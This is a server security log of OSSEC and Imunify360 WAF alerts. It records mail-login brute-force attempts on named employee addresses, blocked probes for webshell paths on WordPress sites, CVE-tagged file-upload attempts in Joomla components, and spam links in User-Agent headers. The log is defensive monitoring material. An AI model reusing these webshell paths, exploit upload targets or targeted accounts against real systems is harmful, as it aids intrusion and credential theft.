2026-07-08 00:44:25 dovecot_login authenticator failed for H=mail.sotus.co.th ([49.124.152.241]) [171.100.156.38]:55518: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-07-08 00:44:39 dovecot_login authenticator failed for H=([27.24.141.119]) [203.123.219.137]:34660: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-08 00:46:27 dovecot_login authenticator failed for H=([49.124.151.29]) [125.130.102.172]:36361: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.171.55.242
country_id: 1269750
description:
2026-07-08 00:47:10 dovecot_login authenticator failed for H=([49.124.153.32]) [103.171.55.242]:44544: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.248.156.49
country_id: 1522867
description:
2026-07-08 00:47:13 dovecot_login authenticator failed for H=(eth1.1172.vrrp.fw05.1739.la3.ml.zerolag.com) [109.248.156.49]:35190: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.142.138
country_id: 1733045
description:
2026-07-08 00:47:40 dovecot_login authenticator failed for H=([72.37.216.65]) [49.124.142.138]:44616: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.28.65.241
country_id: 3923057
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/acoustic-consultancy HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.156.228.123
country_id: 1168579
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/benq-gs50-portable-projector-review-little-lunchbox-of-light HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.30
country_id: 1668284
description:
2026-07-08 00:54:42 dovecot_login authenticator failed for H=([174.64.199.92]) [101.13.5.30]:60970: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.211.208.125
country_id: 2661886
description:
2026-07-08 00:54:54 dovecot_login authenticator failed for H=217-211-208-125-no2550.tbcn.telia.com (syn-024-097-253-246.biz.spectrum.com) [217.211.208.125]:45974: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.96.62.29
country_id: 1835841
description:
2026-07-08 01:05:56 dovecot_login authenticator failed for H=(ipmapt-72-195-34-50.oc.oc.cox.net) [183.96.62.29]:45086: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-08 01:06:07 dovecot_login authenticator failed for H=([104.37.135.150]) [218.156.93.206]:56082: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/alnay/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-08 01:07:22 dovecot_login authenticator failed for H=(ip-142-54-232-1.hosts.zerolag.com) [131.161.184.46]:41366: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.49.97.15
country_id: 6252001
description:
2026-07-08 01:07:43 dovecot_login authenticator failed for H=([183.171.4.155]) [64.49.97.15]:46946: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.194.39.64
country_id: 1835841
domain: alnayza.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/alnay/public_html/wp-content||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.72.1.54
country_id: 1168579
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/our-services/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-08 01:11:39 dovecot_login authenticator failed for H=([111.26.115.124]) [182.95.109.138]:33148: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.138
country_id: 1269750
description:
2026-07-08 01:11:54 dovecot_login authenticator failed for H=([112.194.142.167]) [125.23.203.138]:52784: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.70.25.10
country_id: 1819730
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/globalgroupoman/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-08 01:14:54 dovecot_login authenticator failed for H=([114.98.63.18]) [213.55.79.195]:49616: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.184.13.136
country_id: 1835841
description:
2026-07-08 01:15:11 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc9-173.dhcp.inet.fi) [112.184.13.136]:41112: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.62.86.250
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es90?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.255.134
country_id: 1269750
description:
2026-07-08 01:20:47 dovecot_login authenticator failed for H=([222.124.249.132]) [125.23.255.134]:52880: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.3.99
country_id: 1880251
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/combinations/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 40.115.140.72
country_id: 1861060
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ahsmarine/public_html/wp-content/uploads/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.41.162.106
country_id: 1861060
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/futuracarecom/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.41.162.106
country_id: 1861060
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: keralapeople.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/images/images/images/images/images/images/images/cache.php||SC:/home/keralapeople/public_html/images/images||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://wiki.wild-sau.com/index.php?title=Benutzer:Maximilian8613\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.102.190
country_id: 1269750
description:
2026-07-08 01:41:55 dovecot_login authenticator failed for H=([14.38.177.105]) [182.95.102.190]:44658: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-08 01:42:28 dovecot_login authenticator failed for H=(ipmapt-72-195-101-102.oc.oc.cox.net) [125.19.163.58]:40298: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.124.42
country_id: 1835841
description:
2026-07-08 01:43:02 dovecot_login authenticator failed for H=(ipmapt-72-195-34-34.oc.oc.cox.net) [121.189.124.42]:47873: 535 Incorrect authentication data (set_id=nirmal)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.32.79.41
country_id: 3585968
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es30?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.248.56.127
country_id: 1643084
description:
2026-07-08 01:44:52 dovecot_login authenticator failed for H=([36.154.237.94]) [180.248.56.127]:14176: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.245.241.63
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://meneercasino.com/slot-reviews/scarface\">viagra xanax interactions</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.44.23
country_id: 2661886
description:
2026-07-08 01:46:36 dovecot_login authenticator failed for H=78-66-44-23-no2550.tbcn.telia.com (static.92.254.104.190.cps.com.ar) [78.66.44.23]:38548: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 23.26.49.110
country_id: 1880251
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:galexbot-jp0m2oke.xml.php||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.133.97.153
country_id: 6252001
description:
2026-07-08 01:55:06 dovecot_login authenticator failed for H=c-76-133-97-153.hsd1.ca.comcast.net ([117.158.166.73]) [76.133.97.153]:33781: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 46.250.230.56
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/Nxploited_1783456208120.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 209.99.184.194
country_id: 2658434
domain: jaashsupplies.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:ua72b46zty.xml.php||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.119.109.147
country_id: 3595528
domain: ogocindia.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ogocindia.com/ HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.99.96.25
country_id: 2589581
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/vssl-x-series-drivers?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 138.91.42.48
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/globalgroupoman/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.210.116.141
country_id: 1861060
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/metrodigitals/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.41.162.106
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/images/about.php||SC:/home/ibmcglobal/public_html/images/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.88
country_id: 99237
description:
2026-07-08 02:12:31 dovecot_login authenticator failed for H=(78-66-45-101-no2550.tbcn.telia.com) [65.20.204.88]:39128: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-08 02:12:37 dovecot_login authenticator failed for H=([122.53.106.124]) [165.101.222.22]:37496: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.220.199
country_id: 337996
description:
2026-07-08 02:13:01 dovecot_login authenticator failed for H=([183.171.57.50]) [196.190.220.199]:33892: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.194.255.207
country_id: 3996063
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/ship-supply-and-services/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-08 02:15:47 dovecot_login authenticator failed for H=([183.171.47.32]) [50.190.89.138]:59760: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.134.83.141
country_id: 1835841
description:
2026-07-08 02:16:04 dovecot_login authenticator failed for H=([183.167.217.86]) [128.134.83.141]:35764: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.210.116.141
country_id: 1861060
domain: fefkadirectorsunion.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/fefkadirectors/public_html/wp-content||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.233
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.symbaloo.com/mix/yohoho-unblocked-76\">yohoho unblocked 76</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.213.48.53
country_id: 1269750
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/uploads/update_with_pics.php||SC:/home/elegantautomotiv/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.131
country_id: 99237
description:
2026-07-08 02:18:49 dovecot_login authenticator failed for H=([174.75.211.196]) [65.20.204.131]:58493: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.195
country_id: 1668284
description:
2026-07-08 02:19:02 dovecot_login authenticator failed for H=([49.124.149.213]) [101.13.5.195]:50758: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.140.193.66
country_id: 1861060
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/travelinbh/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.210.116.141
country_id: 1861060
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/wp-content/uploads/2021/02/index.php||SC:/home/ddgalaxy/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.185.89.74
country_id: 1835841
description:
2026-07-08 02:27:29 dovecot_login authenticator failed for H=([182.73.164.228]) [121.185.89.74]:38756: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-08 02:31:32 dovecot_login authenticator failed for H=([103.168.241.32]) [182.95.229.110]:35276: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.151.251.129
country_id: 1835841
description:
2026-07-08 02:31:56 dovecot_login authenticator failed for H=(162.144-60-66-biz.sta.surewest.net) [221.151.251.129]:39993: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.138.193.193
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/telephone-and-communication-systems-pabx HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.250.250.2
country_id: 1269750
description:
2026-07-08 02:34:05 dovecot_login authenticator failed for H=([89.203.142.96]) [117.250.250.2]:48202: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.91.46.151
country_id: 6252001
description:
2026-07-08 02:34:24 dovecot_login authenticator failed for H=([192.252.210.237]) [173.91.46.151]:57508: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.54.0.40
country_id: 3686110
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/2018/08/index.html HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.105.229.237
country_id: 1835841
description:
2026-07-08 02:41:43 dovecot_login authenticator failed for H=(node-177.242.193-178.avelacom.ru) [211.105.229.237]:56086: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.78.177
country_id: 1668284
description:
2026-07-08 02:41:20 dovecot_login authenticator failed for H=221-120-78-177.emome-ip.hinet.net ([61.178.82.215]) [221.120.78.177]:39244: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.32.173.53
country_id: 3703430
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es20?Itemid=101&catid=18 HTTP/1.1||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.65.190.48
country_id: 2661886
description:
2026-07-08 02:43:29 dovecot_login authenticator failed for H=213-65-190-48-no2550.tbcn.telia.com ([208.69.161.214]) [213.65.190.48]:49714: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.0.82.4
country_id: 1605651
description:
2026-07-08 02:43:55 dovecot_login authenticator failed for H=([218.156.93.202]) [49.0.82.4]:39028: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.84
country_id: 1835841
description:
2026-07-08 02:45:25 dovecot_login authenticator failed for H=([49.124.154.169]) [183.104.220.84]:34086: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.142
country_id: 1269750
description:
2026-07-08 02:45:39 dovecot_login authenticator failed for H=([98.170.57.251]) [182.95.185.142]:44524: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-08 02:47:30 dovecot_login authenticator failed for H=([202.108.14.226]) [125.130.102.172]:54887: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-08 02:48:00 dovecot_login authenticator failed for H=(107-135-117-245.lightspeed.livnmi.sbcglobal.net) [128.185.220.90]:44052: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.32.68.66
country_id: 1835841
description:
2026-07-08 02:48:17 dovecot_login authenticator failed for H=([85.117.232.42]) [61.32.68.66]:47092: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.207.177.56
country_id: 192950
description:
2026-07-08 02:51:05 dovecot_login authenticator failed for H=([49.125.203.167]) [196.207.177.56]:46060: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.207.9.154
country_id: 1269750
description:
2026-07-08 02:51:21 dovecot_login authenticator failed for H=([60.167.19.189]) [103.207.9.154]:47442: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-08 02:59:28 dovecot_login authenticator failed for H=([182.156.80.11]) [200.107.163.195]:14140: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-08 02:59:52 dovecot_login authenticator failed for H=([65.20.233.110]) [50.217.40.11]:42174: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-08 03:05:26 dovecot_login authenticator failed for H=(static.ftth.rcr.117.254.104.107.bsnl.in) [152.52.192.162]:51172: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-08 03:05:42 dovecot_login authenticator failed for H=([178.178.194.137]) [101.13.5.63]:39990: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.242.42.47
country_id: 2589581
description:
2026-07-08 03:06:41 dovecot_plain authenticator failed for H=(localhost) [154.242.42.47]:57072: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-08 03:13:14 dovecot_login authenticator failed for H=([70.166.167.33]) [203.192.211.180]:43614: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-08 03:13:41 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([178.178.222.53]) [72.234.16.75]:45858: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-08 03:15:47 dovecot_login authenticator failed for H=(201-91-153-121.customer.tdatabrasil.net.br) [210.118.224.138]:45469: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.171.53.82
country_id: 1733045
description:
2026-07-08 03:18:30 dovecot_login authenticator failed for H=([72.206.74.97]) [183.171.53.82]:56510: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-08 03:20:07 dovecot_login authenticator failed for H=([182.95.87.177]) [196.188.93.169]:2755: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.127.42
country_id: 1269750
description:
2026-07-08 03:20:22 dovecot_login authenticator failed for H=(partner.filtersite.shop) [182.95.127.42]:48720: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.233
country_id: 130758
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.26||T:APACHE||MV:/images/images/cache.php||SC:/home/ahsmarine/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.28.226.125
country_id: 1036973
description:
2026-07-08 03:20:21 dovecot_login authenticator failed for H=(74ACB9EDEADF.mldns.ru) [196.28.226.125]:48383: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.211.201
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://business.am-news.com/am-news/markets/article/abnewswire-2026-6-4-pressure-washing-in-hauppauge-ny-backed-by-eagles-power-washing-experts-through-responsible-and-ethical-service-standards/\">Pressure Washing Smithtown</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.26||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.72.138.160
country_id: 1835841
description:
2026-07-08 03:27:17 dovecot_login authenticator failed for H=([203.124.44.231]) [220.72.138.160]:26060: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.39.33
country_id: 2635167
description:
2026-07-08 03:28:59 dovecot_login authenticator failed for H=([117.191.127.86]) [188.122.39.33]:57842: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77141095
name: IM360 WAF: Track spam in PrestaShop
abuser: 172.81.58.46
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Track spam in PrestaShop||RSV:8.26||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-json/contact-form-7/v1/contact-forms/213/feedback||


plugin: modsec
rule: 77142097
name: IM360 WAF: Track spam via contactform for WordPress
abuser: 172.81.58.46
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Track spam via contactform for WordPress||RSV:8.26||T:APACHE||MVN:REQUEST_URI||MV:/wp-json/contact-form-7/v1/contact-forms/213/feedback||


